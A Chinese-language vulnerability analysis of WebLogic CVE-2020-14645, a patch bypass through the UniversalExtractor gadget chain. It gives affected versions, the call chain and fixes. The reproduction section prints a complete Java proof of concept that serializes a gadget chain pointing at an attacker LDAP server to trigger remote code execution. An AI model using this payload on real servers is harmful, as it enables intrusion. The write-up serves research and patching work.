WebLogic JNDI注入漏洞分析(CVE-2020-14645)技术文档
1. 漏洞概述
CVE-2020-14645是Oracle在2020年7月发布的安全更新中修复的一个WebLogic反序列化远程代码执行漏洞,CVSS评分为9.8分。该漏洞是对CVE-2020-2883补丁的绕过,通过利用WebLogic 12.2.1.4.0特有的com.tangosol.util.extractor.UniversalExtractor类实现JNDI注入攻击。
2. 影响范围
- 受影响版本:WebLogic 12.2.1.4.x
- 受影响组件:Coherence组件
3. 漏洞背景
CVE-2020-2883补丁将MvelExtractor和ReflectionExtractor列入了黑名单,攻击者需要寻找其他存在extract方法且方法内存在恶意操作的类来绕过补丁。UniversalExtractor类恰好满足这一条件。
4. 漏洞复现
4.1 准备工作
-
使用JNDI-Injection-Exploit工具开启LDAP服务端:
https://github.com/welk1n/JNDI-Injection-Exploit -
生成POC文件(使用Y4er师傅的POC):
package com.yyhuni;
import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.extractor.UniversalExtractor;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.PriorityQueue;
public class Test {
public static void main(String[] args) throws Exception {
// CVE_2020_14645
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://192.168.202.1:1389/ayicvn");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
Object[] q = new Object[]{rowSet, rowSet};
Field queue1 = queue.getClass().getDeclaredField("queue");
queue1.setAccessible(true);
queue1.set(queue, q);
Field queue2 = queue.getClass().getDeclaredField("size");
queue2.setAccessible(true);
queue2.set(queue, 2);
//serial
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
//unserial
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
}
4.2 攻击流程
- 构造恶意序列化对象
- 通过T3协议发送给WebLogic服务器
- 触发JNDI注入,执行远程代码
5. 漏洞分析
5.1 完整调用链
PriorityQueue#readObject
-> heapify()
-> siftDown(i, (E) queue[i])
-> siftDownUsingComparator
-> comparator.compare(x, (E) c) <= 0
-> ExtractorComparator#compare
-> this.m_extractor.extract
-> UniversalExtractor#extract
-> UniversalExtractor#extractComplex
-> method.invoke#205
-> JdbcRowSetImpl#getDatabaseMetaData
5.2 关键类分析
5.2.1 JdbcRowSetImpl
在JdbcRowSetImpl中,调用其getDatabaseMetaData方法会进行lookup操作。如果this.getDataSourceName()参数可控,则会产生JNDI注入。
5.2.2 UniversalExtractor
UniversalExtractor类的extract方法可以调用到JdbcRowSetImpl的getDatabaseMetaData方法。
构造函数分析:
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
sName: "getDatabaseMetaData()"aoParam: nullnTarget: 1
初始化过程:
- 调用
getCanonicalName方法 - 最终返回"databaseMetaData"(去掉了"get"前缀和"()"后缀)
- 设置
this.m_fMethod = false
extract方法分析:
- 调用
extractComplex方法 - 在
extractComplex中:clzTarget:JdbcRowSetImpl的Class对象aoParam: nullclzParam: nullsCName: "databaseMetaData"fProperty: true(因为!this.m_fMethod)
关键反射调用:
method.invoke(oTarget, aoParam)
method:getDatabaseMetaDataoTarget:JdbcRowSetImpl实例aoParam: null
5.2.3 ExtractorComparator
ExtractorComparator类的compare方法会调用UniversalExtractor#extract,并传入o1(即JdbcRowSetImpl实例)。
5.2.4 PriorityQueue
PriorityQueue类是漏洞的入口点,其readObject方法最终会调用到ExtractorComparator#compare方法。
调用过程:
readObject
-> heapify()
-> siftDown(i, (E) queue[i])
-> siftDownUsingComparator
-> comparator.compare(x, (E) c)
关键点:
comparator的值来自PriorityQueue构造函数传入的comparatorcomparator.compare(x, (E) c)中的x和c来自queue数组size值必须大于等于2才能进入while循环
6. 修复方案
- 安装WebLogic官方补丁:p31537019_122140_Generic
- 临时缓解措施:
- 限制T3协议访问
- 更新JNDI相关安全配置
7. 总结
CVE-2020-14645利用WebLogic 12.2.1.4.0特有的UniversalExtractor类绕过之前的安全补丁,通过精心构造的序列化对象触发JNDI注入,最终实现远程代码执行。该漏洞影响范围有限(仅12.2.1.4.x版本),但危害性极高(CVSS 9.8)。